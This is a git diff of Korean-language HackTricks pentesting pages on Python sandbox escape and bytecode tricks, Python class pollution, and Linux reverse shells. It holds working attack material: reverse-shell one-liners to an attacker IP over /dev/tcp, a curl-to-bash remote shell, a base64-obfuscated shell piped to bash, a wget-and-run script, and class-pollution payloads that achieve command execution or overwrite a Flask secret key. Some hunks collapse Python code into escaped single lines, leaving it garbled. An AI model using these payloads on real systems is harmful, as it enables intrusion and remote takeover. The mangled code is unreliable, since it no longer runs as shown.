@ -731,6 +788,7 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
|
||||
**포맷 문자열**에 관한 **더 많은 예제**는 [**https://pyformat.info/**](https://pyformat.info)에서 찾을 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -742,6 +800,7 @@ return 'HAL 9000'
|
|||
{% endcontent-ref %}
|
||||
|
||||
### 민감한 정보 노출 Payloads
|
||||
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -752,6 +811,7 @@ return 'HAL 9000'
|
|||
# Access an element through several links
|
||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||
```
|
||||
|
||||
## Python 객체 해부
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -761,6 +821,7 @@ return 'HAL 9000'
|
|||
일부 CTF에서는 **플래그가 있는 사용자 정의 함수의 이름**이 제공될 수 있으며, **함수**의 **내부**를 살펴보고 추출해야 할 수도 있습니다.
|
||||
|
||||
조사할 함수는 다음과 같습니다:
|
||||
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -771,18 +832,22 @@ return "THIS-IS-THE-FALG!"
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
|
||||
#### dir
|
||||
|
||||
#### 디렉토리
|
||||
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
|
||||
#### globals
|
||||
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 획득합니다. 예제에서는 가져온 모듈, 일부 전역 변수 및 선언된 내용을 볼 수 있습니다:
|
||||
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -791,11 +856,13 @@ get_flag.__globals__
|
|||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
|
||||
[**여기에서 전역 변수를 더 얻는 위치를 확인하세요**](./#globals-and-locals)
|
||||
|
||||
### **함수 코드에 액세스하기**
|
||||
|
||||
**`__code__`** 및 `func_code`: 함수의 이 **속성에 액세스**하여 함수의 코드 객체를 **얻을 수 있습니다**.
|
||||
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -809,7 +876,9 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
|
||||
### 코드 정보 가져오기
|
||||
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -855,7 +924,9 @@ get_flag.__code__.co_freevars
|
|||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
|
||||
### **함수의 분해**
|
||||
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
|
@ -883,7 +954,9 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
|
||||
**만약 파이썬 샌드박스에서 `dis`를 import할 수 없는 경우** 함수의 **바이트 코드**(`get_flag.func_code.co_code`)를 얻어서 로컬에서 **disassemble**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)을 볼 수 없지만 `LOAD_CONST`는 로드되는 변수의 오프셋을 알려주므로 (`get_flag.func_code.co_consts`)에서 추측할 수 있습니다.
|
||||
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -905,10 +978,12 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
|
||||
## Python 컴파일
|
||||
|
||||
이제, 실행할 수 없지만 실행해야 하는 함수에 대한 정보를 **덤프할 수 있다고 상상해 봅시다**.\
|
||||
다음 예제에서처럼, 해당 함수의 **코드 객체에 액세스할 수 있지만** disassemble을 읽어도 **플래그를 계산하는 방법을 모를 수 있습니다** (_더 복잡한 `calc_flag` 함수를 상상해보세요_).
|
||||
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -921,9 +996,11 @@ return calc_flag("VjkuKuVjgHnci")
|
|||
else:
|
||||
return "Nope"
|
||||
```
|
||||
|
||||
### 코드 객체 생성
|
||||
|
||||
우선, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 이렇게 하면 함수 leaked를 실행할 수 있는 코드 객체를 생성할 수 있습니다:
|
||||
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -942,8 +1019,10 @@ mydict = {}
|
|||
mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
파이썬 버전에 따라 `code_type`의 **매개변수**가 **다른 순서**를 가질 수 있습니다. 실행 중인 파이썬 버전의 매개변수 순서를 알아내는 가장 좋은 방법은 다음을 실행하는 것입니다:
|
||||
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -956,6 +1035,7 @@ types.CodeType.__doc__
|
|||
{% hint style="warning" %}
|
||||
다음 예제에서는 함수 코드 객체에서 필요한 모든 데이터를 가져와 함수를 재현할 것입니다. **실제 예제**에서는 함수를 실행하기 위한 모든 **값**이 **누설해야 할 것**입니다.
|
||||
{% endhint %}
|
||||
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
|
@ -966,12 +1046,14 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
|
||||
### 방어 우회
|
||||
|
||||
이 게시물 초반의 이전 예제에서 **`compile` 함수를 사용하여 모든 파이썬 코드를 실행하는 방법**을 볼 수 있습니다. 이것은 **루프와 함께 전체 스크립트를 실행**할 수 있기 때문에 흥미로운데, 이를 **한 줄로** 실행할 수 있습니다 (**`exec`를 사용하여 동일한 작업을 수행할 수도 있음).\
|
||||
이 게시물 초반의 이전 예제에서 **`compile` 함수를 사용하여 모든 파이썬 코드를 실행하는 방법**을 볼 수 있습니다. 이것은 **루프와 함께 전체 스크립트를 실행**할 수 있기 때문에 흥미로운데, 이를 **한 줄로** 실행할 수 있습니다 (\*\*`exec`를 사용하여 동일한 작업을 수행할 수도 있음).\
|
||||
어쨌든, 때로는 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어, CTF에 `compiled` 함수가 없기 때문에).
|
||||
|
||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 봅시다:
|
||||
예를 들어, \_./poc.py\_를 읽는 함수를 수동으로 컴파일하고 실행해 봅시다:
|
||||
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -998,7 +1080,9 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
만약 `eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수**를 생성할 수 있지만, 직접 호출하려고 하면 일반적으로 _제한된 모드에서 접근할 수 없는 생성자_로 실패할 것입니다. 따라서 **제한된 환경에 없는 함수가 이 함수를 호출하도록 해야 합니다.**
|
||||
|
||||
만약 `eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수**를 생성할 수 있지만, 직접 호출하려고 하면 일반적으로 \_제한된 모드에서 접근할 수 없는 생성자\_로 실패할 것입니다. 따라서 **제한된 환경에 없는 함수가 이 함수를 호출하도록 해야 합니다.**
|
||||
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1006,14 +1090,15 @@ ctype = type((lambda: None).func_code)
|
|||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
|
||||
## 컴파일된 Python의 디컴파일
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)과 같은 도구를 사용하면 주어진 컴파일된 Python 코드를 **디컴파일** 할 수 있습니다.
|
||||
|
||||
**다음 자습서를 확인하세요**:
|
||||
|
||||
{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 기타 Python
|
||||
|
@ -1022,6 +1107,7 @@ f(42)
|
|||
|
||||
파이썬은 `-O` 매개변수로 최적화하여 실행하면 **debug** 값에 따라 조건부 코드와 assert 문을 제거합니다.\
|
||||
따라서, 다음과 같은 확인문은
|
||||
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1030,6 +1116,7 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
|
@ -1041,7 +1128,7 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -1054,7 +1141,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)**이나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 클래스 오염 (Python의 프로토타입 오염)
|
||||
# Class Pollution (Python's Prototype Pollution)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -17,6 +17,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
## 기본 예제
|
||||
|
||||
문자열로 객체의 클래스를 오염시킬 수 있는 방법을 확인하세요:
|
||||
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
|
@ -40,6 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
|
||||
## 기본 취약점 예제
|
||||
|
||||
Consider the following Python code:
|
||||
|
@ -94,6 +96,7 @@ admin.leak_credentials(); // "admin", "admin123"
|
|||
As we can see, the attacker is able to access and leak the credentials of both the regular user and the admin user.
|
||||
|
||||
This is a basic example of class pollution in Python, where an attacker is able to manipulate the prototype of a class and add malicious properties or methods. It highlights the importance of properly securing and validating user input to prevent such attacks.
|
||||
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
|
@ -126,57 +129,36 @@ USER_INPUT = {
|
|||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
|
||||
## 가젯 예시
|
||||
|
||||
<details>
|
||||
|
||||
<summary>클래스 속성 기본값을 RCE(subprocess)로 생성하기</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
## Recursive merge function
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
## Create default value for Employee.custom\_command
|
||||
|
||||
merge(USER\_INPUT, recruiter\_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -208,39 +190,33 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
|||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>임의의 서브프로세스 실행</summary>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
\`\`\`python import subprocess, json
|
||||
|
||||
class Employee: def **init**(self): pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
## Recursive merge function
|
||||
|
||||
merge(USER_INPUT, Employee())
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
## Overwrite env var "COMSPEC" to execute a calc
|
||||
|
||||
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||
|
||||
merge(USER\_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -283,19 +259,22 @@ merge(emp_info, Employee())
|
|||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>다른 파일에서 Flask 시크릿 덮어쓰기</summary>
|
||||
|
||||
따라서, 웹의 주요 파이썬 파일에서 정의된 객체에 대해 클래스 오염을 수행할 수 있지만, 해당 클래스는 주요 파일과 다른 파일에서 정의됩니다. 이전 페이로드에서 \_\_globals\_\_에 접근하려면 객체의 클래스 또는 클래스의 메서드에 접근해야 하므로 해당 파일의 글로벌 변수에 접근할 수 있지만, 주요 파일에서는 접근할 수 없습니다. \
|
||||
따라서, 웹의 주요 파이썬 파일에서 정의된 객체에 대해 클래스 오염을 수행할 수 있지만, 해당 클래스는 주요 파일과 다른 파일에서 정의됩니다. 이전 페이로드에서 \_\_globals\_\_에 접근하려면 객체의 클래스 또는 클래스의 메서드에 접근해야 하므로 해당 파일의 글로벌 변수에 접근할 수 있지만, 주요 파일에서는 접근할 수 없습니다.\
|
||||
따라서, 주요 페이지에서 **시크릿 키**를 정의한 Flask 앱 글로벌 객체에는 **접근할 수 없습니다**.
|
||||
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
|
||||
이 시나리오에서는 Flask 시크릿 키를 변경하여 권한을 상승시킬 수 있도록 하기 위해 메인 파일에 접근하기 위한 파일 탐색 도구가 필요합니다. 이를 위해 전역 객체 `app.secret_key`에 접근해야 합니다. 이 키를 알면 [이 권한 상승 기법](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)을 사용할 수 있습니다.
|
||||
|
||||
[이 writeup](https://ctftime.org/writeup/36082)에서 제공하는 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
|
@ -329,7 +308,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 쉘 - 리눅스
|
||||
# Shells - Linux
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -29,6 +29,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
**리버스 쉘을 획득한 후**[ **이 페이지를 읽어 전체 TTY를 얻으세요**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
|
||||
```bash
|
||||
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
||||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||||
|
@ -41,9 +42,11 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
|
||||
### 심볼 안전 쉘
|
||||
|
||||
다른 쉘도 확인하는 것을 잊지 마세요: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, 그리고 bash.
|
||||
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -52,19 +55,24 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
|||
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||||
```
|
||||
|
||||
#### 쉘 설명
|
||||
|
||||
1. **`bash -i`**: 이 명령어 부분은 대화형(`-i`) Bash 쉘을 시작합니다.
|
||||
2. **`>&`**: 이 명령어 부분은 **표준 출력(`stdout`)과 표준 에러(`stderr`)를 동일한 대상으로 리다이렉팅**하는 약식 표기법입니다.
|
||||
3. **`/dev/tcp/<공격자-IP>/<포트>`**: 이는 지정된 IP 주소와 포트로의 TCP 연결을 나타내는 특수 파일입니다.
|
||||
|
||||
* **출력 및 에러 스트림을 이 파일로 리다이렉팅**함으로써, 해당 명령어는 대화형 쉘 세션의 출력을 공격자의 기기로 전송합니다.
|
||||
|
||||
4. **`0>&1`**: 이 명령어 부분은 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 동일한 대상으로 리다이렉팅**합니다.
|
||||
|
||||
### 파일 생성 및 실행
|
||||
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
|
||||
## 포워드 쉘
|
||||
|
||||
리눅스 기반 웹 애플리케이션 내 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 역술을 통한 쉘 획득은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해를 받을 수 있습니다. 이러한 제약된 환경에서는 대안적인 접근 방식으로 PTY (의사 터미널) 쉘을 설정하여 침해된 시스템과 보다 효과적으로 상호 작용할 수 있습니다.
|
||||
|
@ -72,6 +80,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
이러한 목적으로 권장되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)이며, 이 도구를 사용하면 대상 환경과의 상호 작용을 간편하게 할 수 있습니다.
|
||||
|
||||
toboggan을 효과적으로 활용하기 위해 대상 시스템의 RCE 컨텍스트에 맞는 Python 모듈을 생성합니다. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다:
|
||||
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -95,10 +104,13 @@ response.raise_for_status()
|
|||
|
||||
return response.text
|
||||
```
|
||||
|
||||
그런 다음, 다음을 실행할 수 있습니다:
|
||||
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
|
||||
직접적으로 상호작용하는 쉘을 활용하려면, Burpsuite 통합을 위해 `-b`를 추가하고 더 기본적인 rce 래퍼를 위해 `-i`를 제거할 수 있습니다.
|
||||
|
||||
